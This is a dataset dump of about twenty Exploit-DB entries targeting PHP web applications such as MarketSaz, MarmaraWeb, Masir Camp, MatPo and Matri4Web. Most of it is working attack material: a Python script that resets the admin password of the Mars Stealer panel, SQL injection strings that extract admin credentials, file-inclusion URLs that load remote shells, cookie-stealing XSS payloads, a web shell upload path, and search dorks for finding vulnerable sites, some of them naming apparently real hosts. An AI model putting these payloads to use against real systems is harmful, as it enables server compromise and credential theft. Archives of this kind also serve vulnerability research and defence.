deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13927
Description: MarketSaz - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-18
Author: NetQurd

Exploit:
==========================================
MarketSaz remote file Upload Vulnerability
==========================================


#Exploit Title: MarketSaz remote file uploade

#Author: NetQurd (NetQurd@Live.com)

#Dork : English = Powered MarketSaz


#Software Link: http://www.marketsaz.com

#Platform :linux/php

#Exploit : http://target.com

#http://target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

#Example site: http://server

#Select the "File Upload" To use = php

#http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

#Sh3ll : http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/php/shell.php

#OR

#http://server/shell.php
# Spical Thanks To Net.Edit0r (Net.Edit0r@att.net)
Exploit-DB #26838
Description: MarmaraWeb E-Commerce - 'index.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-15
Author: B3g0k

Exploit:
source: https://www.securityfocus.com/bid/15875/info


E-commerce is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?page=">[XSS]
http://www.example.com/?page=">[XSS]
Exploit-DB #26841
Description: MarmaraWeb E-Commerce - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-12-15
Author: B3g0k

Exploit:
source: https://www.securityfocus.com/bid/15877/info

E-commerce is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

http://www.example.com/index.php?page=http://www.example.com/?&cmd=
http://www.example.com/?page=http://www.example.com/?&cmd=
Exploit-DB #51392
Description: Mars Stealer 8.3 - Admin Account Takeover
Type: webapps
Platform: php
Date: 2023-04-25
Author: Sköll

Exploit:
# Exploit Title: Mars Stealer 8.3 - Admin Account Takeover
# Product: Mars Stelaer
# Technology: PHP
# Version: < 8.3
# Google Dork: N/A
# Date: 20.04.2023
# Tested on: Linux 
# Author: Sköll - twitter.com/s_k_o_l_l


import argparse
import requests

parser = argparse.ArgumentParser(description='Mars Stealer Account Takeover Exploit')
parser.add_argument('-u', '--url', required=True, help='Example: python3 exploit.py -u http://localhost/')
args = parser.parse_args()

url = args.url.rstrip('/') + '/includes/settingsactions.php'
headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Sköll", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": url, "Referer": url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US;q=0.8,en;q=0.7"}
data = {"func": "savepwd", "pwd": "sköll"} #change password
response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
    print("Succesfull!")
    print("New Password: " + data["pwd"])
else:
	print("Exploit Failed!")
Exploit-DB #26899
Description: Marwel 2.7 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15959/info

Marwel is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 2.7 and prior are vulnerable; other versions may also be affected.

http://www.example.com/index.php?show=[SQL]
Exploit-DB #11329
Description: MASA2EL Music City 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-04
Author: alnjm33

Exploit:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title : MASA2EL Music City Remote Sql Injection Vulnerability
Author: alnjm33
Software Link: http://www.masa2el.com/index.php?go=dl&type=d&id=4
Tested on: Version 1.0
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
                                 (Powered By : MASA2EL Music City 1.0 )
================================Exploit=============================================
http://server/path/index.php?go=singer&id=-13/**/union/**/select/**/1,concat(UserName,0x3a,PasSword),3,4/**/from/**/masa2el_admin--

=======================================================================================
Greetz to : First to The Best Team In Africa( Egypt Football TEAM ) PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso - JaMbA - RoOt_EgY- jago-dz - XR57 all Sec-War.com members
Exploit-DB #32732
Description: Masir Camp 3.0 - 'SearchKeywords' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-15
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/33309/info

Masir Camp is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/?Culture=fa-IR&page=search&SearchKeywords=[SQL]
Exploit-DB #6395
Description: Masir Camp E-Shop Module 3.0 - 'ordercode' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-07
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: Masir Camp E-Shop Module <= 3.0 SQL Injection
# Vendor: www.masir.net
# Vulnerable Version: 3.0 and prior versions
# Exploit: Available
# Impact: Medium
# Fix: N/A
# Original Advisory: http://bugreport.ir/index_52.htm
###################################################################################

####################
1. Description:
####################
    Masir Camp is an advanced website management and content management software. It is suitable for management, control and information presentation.
"Masir Camp" increases your ability to manage and control your website or weblog.It use Microsoft .Net and MS-SQL. But you have no limitation to use other DBMSs.

####################
2. Vulnerabilities:
####################
    2.1. Injection Flaws. SQL Injection in "veiworderstatus" in "ordercode" parameter.


####################
3. Exploits/POCs:
####################
    http://[URL]/?page=veiworderstatus&ordercode=foo' or 1=(select top 1 UserName from UserInfoView)--
    http://[URL]/?page=veiworderstatus&ordercode=foo' or 1=(select top 1 Password from UserInfoView)--

####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitized.

####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2008-09-07]
Exploit-DB #12050
Description: MassMirror Uploader - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-04-04
Author: cr4wl3r

Exploit:
========================================
MassMirror Uploader Multiple RFI Exploit
========================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###################################################

[+] Discovered By: cr4wl3r

###################################################

###################################################
[+] PoC: [path]/Base/upload_progress.php?GLOBALS[MM_ROOT_DIRECTORY]=[Shell]
         [path]/Base/upload.php?GLOBALS[MM_ROOT_DIRECTORY]=[Shell]
###################################################


# Inj3ct0r.com [2010-04-04]
Exploit-DB #15441
Description: MassMirror Uploader - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-11-06
Author: ViciOuS

Exploit:
=====================================================================================
MassMirror Uploader RFI Vulnerability
=====================================================================================


########################################################################################

Author : ViciOuS

Author Web Page :http://www.sabotaj.in

Email : vicious[at]sabotaj.in

Script Page : http://massmirror.com/uploader/

########################################################################################
 
RFI :

http://localhost/Base/example_1.php?GLOBALS[MM_ROOT_DIRECTORY]=http://evilcode.txt??

########################################################################################
Thanks WwW.sabotaj.iN , KocKaf52 
########################################################################################
Exploit-DB #32958
Description: MataChat - 'input.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-04-27
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/34722/info

MataChat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. 

http://www.example.com/[path]/input.php?nickname=[XSS]&color=[XSS]
Exploit-DB #34600
Description: Match Agency BiZ - 'edit_profile.php?important' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-11
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42976/info

Datetopia Match Agency BiZ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/edit_profile.php?important="><script>alert(document.cookie);</script>
Exploit-DB #34601
Description: Match Agency BiZ - 'report.php?pid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-11
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42976/info
 
Datetopia Match Agency BiZ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/report.php?pid="><script>alert(document.cookie);</script>
Exploit-DB #44486
Description: Match Clone Script 1.0.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-18
Author: ManhNho

Exploit:
########################################################################
# Exploit Title: Match Clone Script 1.0.4 - Cross-Site Scripting
# Date: 23.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/match-clone/
# Category: Web Application
# Exploit Author: ManhNho
# Version: 1.0.4
# Tested on: Window 10 / Kali Linux
# CVE: CVE-2018-9857
##########################################################################
Description
------------------------
PHP Scripts Mall Match Clone Script 1.0.4 has XSS via the search field to
searchbyid.php (aka the "View Search By Id" screen).

Proof of Concept
------------------------
1. Access to site
2. Choose “Search”
3. Choose "View Search By Id"
3. Put <script>alert('ManhNho')</script> in search field
4. You will be having a popup: ManhNho

References:
------------------------
https://pastebin.com/Y9uEC4nu
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9857
Exploit-DB #4815
Description: matpo bilder galerie 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-30
Author: Crackers_Child

Exploit:
+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       MatPo Bilder Galerie 1.1
*    [~] Download.....:       http://www.mapos-scripts.de/download,33.html
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       intitle:Bilder Galerie 1.1 or intitle:Bilder Galerie
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/includes/tumbnail.php?config[root_ordner]=sh3lz?
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: f3ck y0ur l3fe
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-12-30]
Exploit-DB #6971
Description: MatPo Link 1.2b - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-03
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : Blind Sql inj / XSS
# [~] Script :MatPo Link 1.2b
# [~] Greetz : Allah , Egyptian x hacker , Br1ght D@rk 
##########################################################################

|| Blind Sql Inj ||
 POC: http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+[BSQL]
  Exploit :
  http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+and+1=0 False
  http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+and+1=0 True 
  
  http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+and+substring(@@version,1,1)=5 True
  http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+and+substring(@@version,1,1)=4 False
		
|| Cross Site Scripting ||
Poc:
http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12&thema=[XSS]
Exploit
http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12&thema=

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-03]
Exploit-DB #6967
Description: MatPo Link 1.2b - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-03
Author: ZoRLu

Exploit:
[~] MatPo Link Version 1.2 Beta Remote Sql inj.
[~]
[~] view.php (id)
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 03.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss yuzden nete ara verebilirim : (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/view.php?id=[SQL]

[SQL]=

-999999999+union+select+1,2,concat(user(),0x3a,version()),database(),5,6,7--

example:

http://hilfe-forum.pytalhost.de/linkliste/view.php?id=-999999999+union+select+1,2,concat(user(),0x3a,version()),database(),5,6,7--

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-03]
Exploit-DB #30961
Description: MatPo.de Kontakt Formular 1.4 - 'function.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-30
Author: bd0rk

Exploit:
source: https://www.securityfocus.com/bid/27075/info

Kontakt Formular is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Kontakt Formular 1.4; other versions may be vulnerable as well.

http://www.example.com/[path]/includes/function.php?root_path=[Shellcode]
Exploit-DB #46591
Description: Matri4Web Matrimony Website Script - Multiple SQL Injection
Type: webapps
Platform: php
Date: 2019-03-22
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Matrimony Website Script - Multiple SQL Injection
# Date: 22.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.matri4web.com
# Demo Site: https://www.matrimonydemo.com
# Version: M-Plus
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/simplesearch_results.php
Vulnerable Parameter: txtGender (POST)
Attack Pattern:
Fage=18&Tage=18&caste=Any&religion=Any&submit=Submit&txtGender=-1'%20OR%203*2*1=6%20AND%20000715=000715%20--%20&txtphoto=1&txtprofile=0

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/advsearch_results.php
Vulnerable Parameter: religion (POST)
Attack Pattern:
age1=18&age2=18&caste[]=Any&cboCountry[]=&city[]=Any&edu[]=Any&ms=Unmarried&occu[]=Any&religion=-1'%20OR%203*2*1=6%20AND%20000723=000723%20--%20&state[]=Any&submit=Submit&txtGender=Male&txtphoto=Show%20profiles%20with%20Photo

----- PoC 3 - SQLi -----

Request: http://localhost/[PATH]/specialcase_results.php
Vulnerable Parameter: Fage
Attack Pattern:
Fage=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'"%2B(select(0)from(select(sleep(0)))v)%2B"*/&Tage=18&caste=Any&religion=Any&sp_cs=Any&submit=Submit&txtGender=Male&txtphoto=Show%20profiles%20with%20Photo&txtprofile=7

----- PoC 4 - SQLi -----

Request: http://localhost/[PATH]/locational_results.php
Vulnerable Parameter: cboCountry (POST)
Attack Pattern:
Fage=18&Tage=18&cboCountry=-1'%20OR%203*2*1=6%20AND%20000567=000567%20--%20&cboState=Any&city=Any&submit=Submit&txtCountry=Argentina&txtCountryLength=9&txtGender=Male&txtNumCountries=251&txtNumStates=25&txtSelectedCountry=9&txtSelectedState=10&txtState=Entre%20Rios&txtStateLength=10&txtphoto=Show%20profiles%20with%20Photo

----- PoC 5 - SQLi -----

Request: http://localhost/[PATH]/registration2.php
Vulnerable Parameter: religion (POST)
Attack Pattern:
EMAILconfirm=sample%40email.tst&Language=&dobDay=&dobMonth=&dobYear=&religion=-1'%20OR%203*2*1=6%20AND%20000830=000830%20--%20&submit=Submit&txtAccept=I%20Accept%20%20the%20Terms%20and%20Conditions&txtGender=Male&txtMC=&txtMobile=[PII_REDACTED]&txtName=FtkKDgHs&txtPC=Self&txtcp=1
Exploit-DB #23036
Description: MatrikzGB Guestbook 2.0 - Administrative Privilege Escalation
Type: webapps
Platform: php
Date: 2003-08-16
Author: Stephan Sattler

Exploit:
source: https://www.securityfocus.com/bid/8430/info

MatrikzGB Guestbook is prone to a vulnerability that may permit guestbook users to gain administrative rights. It is possible to exploit this issue by manipulating URI parameters. 

http://www.example.com/php/gaestebuch/admin/index.php?do=options&action=optionsok&new_username=regularuser&new_[CREDENTIAL_REDACTED]_rights=admin&user=regularuser&pass=regularpass

where regularuser and regularpass equal the user credentials of the attacker.